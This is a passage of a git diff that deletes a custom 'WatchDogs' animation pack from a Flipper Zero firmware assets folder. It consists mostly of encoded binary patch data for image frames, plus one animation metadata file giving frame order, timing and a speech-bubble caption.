zZ2}crReQJZ-9HyW@R9%!KNKpy;?&w~_qP<0@*@vDI|LtmX#MWn?_Y>SxCSpSZ&jN5 v>h!z5`gar&_(_WyeHiatQ}@=Y{a%QG^kFVNFGd!)QVRf9vh1UY|G)lUYjBAl z)FszdyIb9E?dq%QBIcs2xQ6LhW&QX6-+%qL7S1sqdXRT*U8}xz`_@<81o26qtik=O z>i+fruYbL=0=R=cu%~XWTB}~`{i^G&0KVaiKn1&KtJ?Lx_J3Vj08mH*!T>&4?YFLL zTh*%q0Cj+YfD3G(wc2~FRdrPXD0I*PfCCgh3mLVQ>HcQ{As17_rT6}~EA1x)1YLRMg{rSqV%^*Qb+-v1q_$L{5JeLe zW%qwyYy2)DAk?6M3dmKc{v zKnDvT1i{56NAly(RQCG2NK^$uXrU`)h_2Q? zM->Pt5{y8C!a#Gdp!(`>t_lJI4+RDTKxk)VDOI(*iy}ZUCoU3`r9-djQr+#oiwXfy zPL;}HLXxYg(`v2PUImc&mc<}~$tZ4e^t#>qH v>RwgdzX(XWAQ&|HOjI;Y+q2#GtpNf4P@x)XRH*SP?e9_jw*V0BKn_*Ck3R(u diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_4.bm deleted file mode 100644 index c4b03793bebf676a442394b3a74a49bd42e6887b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfN~J)i}x-T(jp|NpJ3XrKf7LO=mVch&y?|5o>ZR{#a-9DxbM_W#@e@BhE* z70`kB_<#pgTf6_-e)slY72p7`Xn`lB{_nQ`+rO{6mGpt$_>hj=RlWPS|Ly(PCSZxT z)TLKj?d#tD-+QaRD)yqwxQ;SZTfO(&cCY<)70xlg!(r`~6p~0^v!YtkE5A zUETFs-?#p11-OH~u*W`CQ@8H-ZS7T60DR#~KmjGJ+Ui~1`(Jxg0jfxX!V-?Iwq5(T zuIfe!0C9i;fCXHv?c1(usj6K8C_K=CfCC6BPSNjbSjB~89grTabQ)_+O%HCH1SbV}E z(GLF|W#8}rSA8oW1ln+mgAVj~^ZNd-RqHEABwzHxg}UuFq}RWHYrYa7gsNQO5Cwab zWBT>gd+IMGAk?4$3IJ*-!@4fCB>ngkZ*ltM>c8Ux^9;;6q2zAjr-l zQ?0J|7bO5-#tRpOO4HX{r~iH5Z%P#?*=57h2xF%lRa>j|o(e#MIO9f%bE~E!Ky2DNJiG3lCAXBw+28!xpQSWAi>^IN8PG+tFC~^!~=sghOt`@ zpKIO!@e?TE@XEz`&g0*gI{k8WwMqa&edVh?00bEpPFvl-DJv=R|Fu~k00ly zB-7#X-npv%KSTj&N=48pMFR|rV@A{Dw64jj=6^?IxRzd!)|AP{+|95@IE vs@H69tAHr9fD~M~RGO5p>Ra3Te<1<-G)O(GOvqsz_xGv)&jOJCNGD6Oc&85u diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_5.bm deleted file mode 100644 index 8da3699ec4ce0ba1ca0172a32eaf9d5b826c744e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfN~2!H^JyZ`_H|9@+>V1VL?@PGqG?b`kS|JJ?VZ@}Rmc)$b4zkl!k@Bi<1 z)xhJA@Q|Zc_3iuD{(ZmODq=~O)TW)LTfblbx9|0?71+g%IK?Pg?)Ccp|Gi&(YZT)z zXh;LMwcqb=ZFlvp3dED0+F_@!R<*kJ|L?Ef3h{;;w4U_t?_ zT33Dhe%Dvk1gJs>pokT!s@m&T*M0q}0z{FAz=8u(wQXJh{cEdL0nmX0;DAf6Yv1;( zx85!l0N{a#$f1T--LigfXSGyGem~q30(Sw_wp{{k?s_u>uSoxq$ zB2}h7^ZWn*SNk_0Or@qyKwyPUW!K);s@_UOh*63Tg2E6VasB_lSLzcW#DD`%K;VUo zrrX=zb-gYLz@dW<(nz6CV7>nPYwBAf;DrZ|gwjhLW$Rn7)w)(8(DJD+CBsfP(!Tfm z=k!}4&^X6#Na&D9MRk4Oid1bOpve;s;h@Kl&+hN*i`BLe@WY1B!{f`HjkW!@0;w$! zeDTH2Borm5r2pIH7g8$;;YJA;p(yf;4QhY43Tzbw6jz#t0I=YLss8WfFR--%fd>qR zA$Z`TNmc#(D?lrNpobm?NK&jLQ?<9huc`!qgcDAtl62EgOYPn7uMz@4^4Bj%!jR#O zsap5?7NrOvImU=pD0=kMqyN6YUlj$Yi7y@pap<8#&$eajw@MI#;)55DrKt7Kr`_KE zuY@9i^Uf>FAX2c=LU*g%UQ~z>gDr*wLZIS@m0fN3tAHYaX@`WPfM8&QqjtOhZz~9a z0SCteLU8HRLu>ZEw}?Q1izk+Ws%p}s%igZ=7Dr)+iKr>}s>!Vhn!<aJbYHwr*_P|!Ol zEEFhe&~?@IUxX0ZN~$w)4h#gi`rAGGyFftrfZ#B=s9KeB)UDF~ZU_DY#g;Iyw%6_P6W$+W`Rfz-}~Lsq`Ds diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_6.bm deleted file mode 100644 index 9f8ffc153de73aabc44d96e9e45c549540c45805..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfN~V88)K_x}I?|9`it(tzWK@Q_K%-M9b$|Lxts_0s7MWT#G}w*Bh;Z@>R) zOPS@9QNjqN`}cou`|nlv7Er>5u*jj$u3q>5zx)4PNs7}=)S<_=_50r4|6f(N3gLx| z(4vlSt=4;Y>-xW~B67tmsZgO*`@Qb_|F3F06@rR|0HuVfO6$AdUHiXP0x6{nFkpaD zyI%cz_pegP6aWW@VBm$TYPGBH-TLn)0YQfcaOAMls@vYW_g}SL0gMMHs?tZT-R|}O z-uiA)0CQ89A!CenYqh>gRi#x02qDIYP~^~4-TU|7s(!lwP|GJy^w2}MvtO;fYS(HD z8N&@1XrbqC`~H9TtGlfLwDN)%QA#POVO?GImA?)E7+x?7 z02uJN^Y8!PYx+|lj0YT!D7>%@W&8KPRo5m+hz>mt2s!eevhBX@SGpAhgeM#xQncx9 zWxMaYYVKbmV3$=+U`%NqVC{YX>wJ|&pw1c#3O({i)xO);YtpwNfKNPLICR+OVs-ca z#=LGK;2m!sH0rg@#_#>>mEyGk(5n_MNGiCePPO0O%3NC!Bpr1cC`|E#h5fqg1yQXK zz)mWT032|Gt=sRX3)CtI0S`D17`)ii4fg(W2dGU1(GNWqf;94@>E5^JO;D==g)5vE zXxiyc3F-ZHAJAF=aIZV2P>k}6QnlXy*ChdfDvvo03OcycQ``6cFO>wq!cA@#9QNd* zOKsh^EeQZ1r57$gc&Mq*rvG;TUsegI@|7Dc05I5NQ`_6>w-QnUhguW|AW-qcq`kJk zT}c6eBMuFNqA+mdN!M!iUm_@}gAa-aAhguWp?cSUx0C{a3QtTYsj=wOO|QE3Z%Gk> zYnQFdf=KB`O?B@=moE^K0RdzR1cZW%!h6-OYZX8MQ$b-cEChnb zgl@U})k_dcK|ydZ426)*k=^S4@fJXUizT^~YBW!$rM9}aZ)D)F9-p+kkU1^N@$&G+ikV|eT1OsW_d=06b2yG^jo#QuK)=6Nc1qcE**z> v)wOl|U!j2f3ek9~7%IA(Yr@Q|UVT5bRT|F-x3){+s2WT&1(|M%Pd-~ZlQ zOY&uwQNjqR)&Bl(`?q_wl?X$Gu*jijf7`eHzx}V@D#8;_)S<`T>Tmu3|F8YJP11*p z(4vmJR{dAoYWr4K74c>(sg$9nx>x`I|KI!l0)mc`0AYlv)w;cH-+HgA3Md8yFkpdG zZP)And)KN`1c9D}VBnBb+q$-P?|r`&1%eL_aO9!0s_osaweQtR0Er(4s?tuabzAHI z|6RKk0dn7#AtQ!Wt^K~LO0re~5T%-gP~_36d)M2qs{d^XD2pCV^sr-h)xCDVRaL73 zsp1%UeCIMdyhQA#Og?fd=jU-cajs3tXqh!k>?vEH}ZQs0Xp7)>}5 z02uHNwm@RvV25L&so#rC%Qh3UQ^f?9ftNKEkh&fWj73aO<4 zP!Bl}5FD`T4f}582U1%IfetzZ2( zXsGqCiE3}Xt)Qxabc8Z_FyQ@ii~Uy%U7%1=HS9DU&X zOI3Ak3nc8ZQr)iYwwg$UhD{t0Ku~er#J6?3 zUnKz`Qw|pbA~10Dk#4K^w@8$N0}l>_Aad0FrMkB6T@p!v3r{Wvsj2DOrFZ-N*Fph+ z>z0pcLQye)j#{n1UnxiuV~vl3FgWu3p>6)}w-OP66K_u>arD^HLwi;IuS!6Gg$oyt z(ox~Nj#jn%rV0Ro=f{^u2&6>xsomPHt5qpT34tXPBmjYVL%XbfSC@c5qu~LO3#ULBTOFjFgh`k>Aq$@e3e`gXN)^YAQ`-rE2|tY9#=mwfHPn5HO7H5520t z#tM*PVX+hutPYdWQT6t_no0eQBG8J1Pr36@Als9e}n?~gjZmY zETu#V-l|pmRV0wGltwDGA~YP+_FuhwKZ!v2!#hlbjD{jg?a`_JZvX*#)Il=18XAX@ v+P`-DUqL9`q2+L@IxUv6^y;a-y8r?D^l_Y20SQT|+PB*OZxIpxSV^JK?h+1O diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_8.bm deleted file mode 100644 index 82ca3d18a189adb4490c6dca1eef65c41f35cd15..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 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 F0fhSJ7&`y} diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_1.bm deleted file mode 100644 index 2344530a749f62c5a828474b16a43707c223a7fe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 567 zcmV-70?7RV05bvrcmu#50PqD*f!l!lz(M)I-9W+l;JU%V`LOrFf%#bO!$JA%-9o|n zbh^XA`MmW(#2)CdYh#di7T8RjU1A_s^_U z9=gBq=ylq!*P~P)UI$jL9~$j!yT)K#;eup!$Ik+)qmky z?QnR%P@sBs?z9MP2uAA{H*7&ih9uMiKfS2`FT(i%S#2>u7cA|QF^A;I!p z4xs=#t$6_O5K#GjU_Fkigm17gd5=qhs)6b?XaV&>f#(C@K2`&Azgpa^f^VW?Mnw|cDf9%VuNC=G>z1ywae1t^QZiB<_p8`%e z4@$+?tJkWh&H)4ut9*ZcXll*bU%L0Ui)3{We9$1 z>CyXxq<%Z%0Q-UUbo&45w@`f#$5pDA1L(dW0h@#CU8~n>qd@wrCyDN9`Ctqve~bZ# FfrJjSD-{3$ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_2.bm deleted file mode 100644 index f37994b246860d87d3d0bf3878b1f9afcd075fe7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 519 zcmV+i0{Hy_00RO54zE=j2j_aPHwWj#eeM`-!>a)Y=L1y-1ElyK*b2Nf44-i``lmu< z-9W+Z*7}A|!F3xb0Cn29coeoC_%J=Hm3inCs~yrZ01H{VwE;`nx`l(L3;E)j2($ovAOZS=+W!EbKs5>R)oaKP0FFRA9aa$EU~3o;j;zE!s4zZj2mxTw0CyVg z*ZWl;2hBpe)w|Vap!wKty-E?41Lom%s@H3`(0r%|eeU&Mi}ls3{p!7Q{d=`r@c@VG zyY=qfZsGdf2Z!9o5d7VGy?UyCo8|lWLCf}k8moS_nyp`}-2w;AQma?)hws^|-)p_l z5dBrtqxT0${CC6w_XFzb_5amwp!y$Km*=Xo&u{?bUyp^AS?%~UkYG7Rz43e@BBXd&0pvqTCdbB9@k2}RDvV=)@rp= zp!sTt?{w;b1_B=%_NH)+ocGJ$N+W-C=6?X(W}+t;Puc4%YCZX?)OpP`xVNq_3E%jYW`q(YPWu& z0M3EyTtk&w?|r-XW1#ic1ItzJ4-V|!-C+6GeykBswyXwA!S!#yYxb&u%B&q4zg4`? zbJe%Ub-M?&^hSMJt=vB4WBsScS9=Gr0K>!8`iaZ{`n`DoXJGoS|8MnF^8gTjAOVGg j>Z$-9tTY`s4_>QRs)GaQJSpLWm+d?{s1W}yy;ku6ygnhc diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/meta.txt deleted file mode 100644 index 1ede66745..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/meta.txt +++ /dev/null @@ -1,23 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 5 -Active frames: 4 -Frames order: 2 0 1 3 0 2 3 2 3 -Active cycles: 2 -Frame rate: 2 -Duration: 3600 -Active cooldown: 1 - -Bubble slots: 1 - -Slot: 0 -X: 27 -Y: 24 -Text: AARGH! -AlignH: Right -AlignV: Center -StartFrame: 6 -EndFrame: 9 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_0.bm deleted file mode 100644 index 4f1f6df42aa729f111aadadd70c85f1c09af5d2d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 725 zcmV;`0xJCh0MP>f|KMO_ynH$T`TTnMa0kDmfCw4<^XcFRzazpAE60+;4}3?D-~Snp z5@rv0Mjk(Y_;>(<4~%fMejFG)JRcp)*m!Voc>I7K(T~T+z#bfYeqav}0#C!E!QsRE z(3pUHun_qD^6}u{V9BHWfCtE4F!%uZUN>Y7~t?w1qYuS(*PzI!U0R{CK2Hv5BWd*1IhyqfOZFjfGel@lu$Ty5&`%g z5&*1%fd`av+&#hJ1Bc)k8vs0~0P)Tb2!=(0fCI*7Z~};kM}krydR+VfQEUjbh-42x zod6zC5OLAX0uL`71_6No!NsRfj|0z!kRAX$m!*E51I%hhQG@Ui<^QvigdQi6fP4Uh zgAWYz|L6Dv${!B!1H=GOd*BRzAo7pFJ|6I3_yXhnUW|MmQ}S^s1|k2iiAWY8F~6IK z`~QId0Rkcr0)E5e?-PhTxFEv#fXL`3p@2S1o+}`Ez;FZB@hyp@i)0Tl0nhJ;LI4l=UQl@;e4rD+c#_N>PT_!0f#?1Q zm-Jph@_+-z89+Cf%)#v-2bBCC(g1kDG9Uau|9|-htY98rhXC)*NDoW|cl{r)_reGd z7=#iL5WasQ?ZNH`*d8#C=lC8!{kBBr`@Ov}LDS+br(c%wjIJ~eN0RV&70pO9J#)*KWN0+4UPXRpW z5XtB89^VKEJX&K6Q3yTTd13JodQ^7t@bUx4 z^ACV&0plZp!D3U*hXcR=kN7C^Ao)V%QR)Tj!N3Fze}xBx56edgmP$Xo2pD{2@QHl} zq#q~+Vu9Si!F~Vy41;_hI2=Y{5X8XX^XtT;1@MuN%2!0dP$SMEo=zYTf*}8c<)MIK zBN*9b6;F98hRp#Z>BB2nvR!+8h>44ecv zJO%;?8Xf0K#d(P;K*M`QYd90f4|On$P~6E?uyBZ|cDD&`mm@-1#uOpz@E0&Kt}X zpZsDd@$c1S5Q_x!xDFHu-_k{gjzDHGj75`CeFup2ed6-6YU7R)su_;<4=x-6Lkxyd zC7-(ge_QhJAIk>-mD8aRt!BHQ&#i|=WFYa-SRn9-C04iB*QJZ_0~uTvLJt^CbGwU2 zjz87H50xXq0}qbUtxHyvSIQqK7lIQE?8!K^o$xGw9dP+%JQL_d2C22He*t6mN0d$h zqMyPgluQ*D@%{h(Rpm>n_$=^>3Pckdz(m4+FNz(_iju=wBnzi@eYEHH{i5@AHshYPjp51j51G>~*DnDc>p{h;#v zPvMw|bpk0rco#qFA2ayDKAZVn@V;ICQ~bYC_+%m}FN$7|=impI;oe-z_0r%EEq??5 sUyR1c^*ZuZP^z1P9#f4oOOb^pgg zf%)6@ZJ_kU3GLR>HZ1gkP`ny{M^|D0w$$xl(ck~S z@Ct=?PZIR&fkM#`c-#M-_y&{rFM!Ib7wUFM-fuC0U^O+Uj8cW&pX9or^7G#CIE`1j z59=R@C}kw$uf!-jpR^9O)c)`Pp!0*xq7V-+_6tRTef{=2pggqs$P`Br-hs;CAD_KC zAb&h;Qxk;q^7mS=-R>(O2b?ZzL4s9s{T#RU`!5frjTkVl)ou>}`O~Bt1@X+_kSHbF zF9^V1Bht)3JiYKc1OgM@{L&;7v2gr><^J-Jv(dF|j*2uHI06M*+) zze4%_^{`mP1MTmH;60K4$7~*3>s}Te4BT&`au4nPaj$=uzO5yMz&~30y(jzgwq=9m zx3N2U$Ls()h>`j9-j`m7WpNq2$rF8A0p<0L;V?zTl* zu_0j%U>(t*&vnw)kGd$?Ntk1^sm#R+?=+0c@hT=-*;8WeYJgD zA0p)e>0jc3@~hQ!b-tBqLxZhKxwZ9qS9Q9s#=1$>;l)1?FBLvmPdQ)K`>E&ru(u6Q zN}tpR4zHC;|6aPfIW8i}PW;&YkK&TyZ{Po=?rEsdf4`d?z&v&EYF7UL^Sr}wkvZ@8 zSttjM_WP8s%{_naRMy}6zE-tI;nn2iQvJ=}y(g4sd)wOdMZ8+rrBa!*)5z)<3^Zq7 oA^-RFTCGIZ+1G@`aGxmmuC^Z^y}wt4t#)~JI4xe&P4wa9KnBhU>;M1& diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_11.bm deleted file mode 100644 index 5a27175f361c559fa1c03a0cf9074e8b08bfe69b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1011 zcmVurf7tX=0j%_Y{gDinYiJKX-QGC>h+%3F8c#d5`Ujn! z+8-Jw0?Re&Znw0cdENf;hy)YE+S_Yww&Lp~!Qg*maP~7_Z?(4jZwH)yA=EdHBSn?= z>w9|8dFSAH0{FqOGET*Vg$f6r{s%aK(ImD?2FBB+-Gk2m1y77qmDTEhy|=k|Js=Ut zE|Q^s$X~Vos*pVU@s4Z)sjGxQHuw0hq#l2J1pW!Elw4@P+yAQg4?p}795&5YqP73W z*0M#?|9^F`4WxHbocew5`?YCX|3CPQ1D#d6KyV*OyoQP`FCTu3K)O^gFbs$9cl4hF z%g_B@jZ#4I8YlXz3X=oN-`{{@pqd;mn{EG=!D4{&r{ACv2qhu|34niV@E(9XvGGVm z206N^L0}X8^avh*_{~BCNwQ#RR0{8Y2j~Z!E>+TrU#J*8w*UVJ51+qRLHuI>^jK~q z&EFTL{)Pn^J)WZhfO&E7KA^nd|4;k}wQq*VzjAn8v>aW#7v_Hv^JidO5B#Q&Ru7)P zG>NTsEgNnP=qO1p{=7mr%($9>|-e3K`8i@kEbl^D&_kZ&%50$>Vg@8yq z+nTkO-G=^piRbIZLLwbszf!B+&F*za;=ku%Pz+`N7Xi+3p!E~^d;4~%E&@yakHsV& zSlmNg4@VSt z2MxQgs)B3oS6KxDas7dNQ|3Py5B`^{l*=;^YUl7CRl8nRg;(0jBvB|t2EYIG|NH;? zbyrcZ(t4;6yTlmQGNAbNwKA{mc2lpQ+^Z2;_4-h6DK;0)C(>JLFk4IppFf_1hpQFs ze(m3my#on&qVa3;K>2mCU(el2yK>52HNJRwyleKltW*8@_3`2qTd(WG2biymTL}Me zKDKyXC*!XC*2Uw$z14D4&-bI_N`hXX->7Xv|97kE^pV@o>-#UvZmQqRA1-gE;m|33_tL+6BgI8nT&vbh(4N&tfjA0z+( diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_12.bm deleted file mode 100644 index 94a5d826bf3e71560fbcf7b951e02a0ef685ccd8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1024 zcmV+b1poU10Q>|0fD7MWhCm>k2?S#0qRQ&Q=UTg zGd0@%0qHA+KrkN)_WNyZ|Kr8!4G)#VgCo}drI)MtJhSpBOah5Ogb4--k)?nB;PH>( z1LL&6P4LxkRbOlW{)5IJP?&~>p~%>3slB-9{PFlY1Oh>r%UQC&UA&|oartF{J}`&` z217`sBh!B>;6PxITnrL{qR~Qu=YNm~$|>rqZFQBaNIeB*LB)19nyqfWun#}{$$T(K z6oNre$z?J?^t@md;{d8~IW(Hx*dCh`aKR)InukkOETn_d13;`nARmpl_S>VK155qi z!QS}#Sw`v;`l-^gr_%ff$N2!EP@r^A?xzKm50{_sgN|@AoeB(M|4XRqLFLcC(BRk! zO_u@o-p}NfAbEHHdzcP_N`o5(4xgyh1Is^OyudLPsKf$+xQ)=E4debr0pqsmKr&r= zGzOM0IZO`$fv8MiI8W@Z0~$vj&H)gha4bUc|I*+~^oz(OIt_hUxTetNhy6$SnzC`#XujzF z`_~DCYhWBJs64B?coilE_}M@q5Lg$ZUJf1K-&H1X4|it_#7m&RiD>+@+R*sWzn@5r zA{ztTd%@%W+UlT?h=kgKB-BG7-idHLYyEn(1_1z$$S9PItO{`~2aoSnm90Q95orWs z@j`&+y@2u8QtGi7UqV$NiFQ6%zhtlfzrWRFxew0%UqF-IKN48HygofxHWwj0&|Ih- zo5v5c*awfle_hp8ZBL|Nq|Xs|j0#$tN=j zREh&)6AAcs`l&`fdFZP|F*uW;!6ujgzP77{lhSucLBUux^0*Bk-Zr}4qSMNWUFk7P zSF$MunE&r*;e}MayjV=XajNZcWOW4a_w`T@=WCZjhS;vL9vmv*o*hjqNs5GgvN1?* zwl%T8*ptJyl|XCI&!!q10*=*um@H5KUscM;BJ{45ra5S)#IG<3b-wGXLyWo;1mViz zSdWAb0T4%ywv__5YdV=IoRTwjm}D##{;sN3DA>a-6d4>-Nji{0DjWLVuL%OkQ#`*) u4HCmXkU(O+y|$_)K=4AfADBE=ksXmxpbp`x=^|bYWJ>=B+jO8*h!n)H6a2~m diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_13.bm deleted file mode 100644 index b663cb8b43675ea02eb3876421c3bb36f86882b6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW;KeM}o=90%~X5S$Ah)SuFfPma@5-jD)x`W=w>2=n^{@1B*@uj6UA=`R|kO_j%0& zSQt^863AOs_r@Iy2SrC-(E`*ON9HT|bD{@d%!4j70NBkHiCn4#2pTQMy3=92gmEU) z!jYrxV-cHkH(nDAc|g*8D=y9OrDA_Gy%lIJ5R&qAo9IkxE07dIbl|#5bOeq-fZ{HC zx#}{}&U|GOsh^wu*HN6C@Oc1I@h(+*=x(KGtWA;usWR93eEx*@Az2q=zg*#HtWFq# zLXtZ7U)WJ*Pq+gp2DHrd^yTq{ucDw749qf+dSUmc(N2lcW&R~?)zZxh`9HW5spKAX zZ{zQMX9WMeLXg)+>Yxdy5BWsnq-WdMTp0QSQT>7kZAm9&S~b+|IB1Ruu8EsjWH7;X zoXu$jXMX731*05Ht$AG%!T6=sBzQX)x!TK6mFS79KtC`;-%kywNA&5P!1Tq?6dohy zL`!8ryGCC0@v|V_KjH-y+Gv%>;yWN9<_;Orx4cB%8fb?Gfh$pW z&gzDhYz{lKjtRcP<(uLcTDt2)gY2t`zGNA{H=k;iZsNuF9;@ud5&C2PPqpT-(08tf z?_!y$@!^}dYYvYHd1J#1pVO|L^4A~BF0Ko|XQ5KU5Q|@fCyq{K3;9GyLD826lyDqk zW5Rp~Us6iOCc&eYJg^AI`HfQmYP+9dN+zBPxov_Y05TXl_?+z50_?HR?^ z`Es7Hei^TD&J@x`_8Vx|GaPN@{hoIorZdt{XC*V)cx6;7@$}y@Fva%8Z$Bu;c)fnw zG#O}Ny4#-EQVMZ&G~}QCK8Ir5P3~>;*?6Oxr&_InPioaYLZbe<^$=3tD8yOO@3n zd)B-}VRM@;AT>uO!{?{=%Dc0aZyY__>1)D`p)EJdm4A5CiEmQxH0qr;o^w5KnsfJ> zHm5JT`j;MY`fCT0W10fBN0kp$WSnE+BZ?bNGb*0YP=rI3U+IcC(~oKDqR;5Sp|@Hs zEOkaX>({Zv1$yYirz|NQL;IT_cT)P@G)kFpSXh0n{APU9_S*_tr>f!EEX3sb@s|eU X9@gz!88;|^=?x5K1nmRXEjj-KR~_}k diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_14.bm deleted file mode 100644 index d6c68c61d2e3fe01381ba6de8a8af8ba0d03dbb1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWNOeM}p59EZPmy|=z>l%{0}i(G5bYYP)61cEw#-447S5{s4>nbU3&EzHG)u$X8D zKS)W+%aYo0WZNIEAkzXd_=37bTyF&pV?hlGnZ`e;izWy&vM6(s!pYyCJb9kv1FEL6 zU0?!=M<}Z5>Qb6Ebp&#`ne76aZ2PArrTs-znGaF`@tLiW{C>YyZ+psYB`EXD4N7sj zfc^l;L;HX-kiZKQ?FWJ@#*5)08wT(yFDOMhqDq+Tm52&QWO=bgaRk?C6Dm^C(e#&J zoM~z(7J(A8`5?thLTiKXCGaPPKC&Q{lC1uY8Ms{o1` z*yAT8z`8EjUx5kk`fGvrq6y@@T>!>C`zR0(IC&WRHg#wpMi7LN?~mGr8uvW#2T|oa 